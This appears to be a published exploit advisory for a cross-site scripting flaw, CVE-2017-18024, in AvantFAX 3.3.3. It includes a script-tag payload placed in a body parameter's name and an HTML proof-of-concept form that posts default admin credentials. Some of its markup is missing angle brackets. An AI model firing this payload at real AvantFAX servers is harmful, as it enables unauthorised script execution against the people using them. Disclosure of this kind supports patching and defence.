# Title: AvantFAX 3.3.3 - XSS # Author: Nassim Asrir # Contact: wassline@gmail.com # Vendor: https://www.officetracker.com/ # CVE: CVE-2017-18024 # Description AvantFAX 3.3.3 has XSS via an arbitrary parameter name to the default URI, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1. ------------------------------------------ # Details The name of an arbitrarily supplied body parameter is copied into the HTML document as plain text between tags. The payload jlbqg<scriptalert(1)</scriptb7g0x was submitted in the name of an arbitrarily supplied body parameter. This input was echoed ------------------------------------------ #Attack Type Remote ------------------------------------------ # POC <html> <body <scripthistory.pushState('', '', '/')</script <form action="http://server/" method="POST" <input type="hidden" name="username" value="admin" / <input type="hidden" name="password" value="admin" / <input type="hidden" name="_submit_check" value="1" / <input type="hidden" name="jlbqg<script>alert(1)</script>b7g0x" value="1" / <input type="submit" value="Submit request" / </form </body </html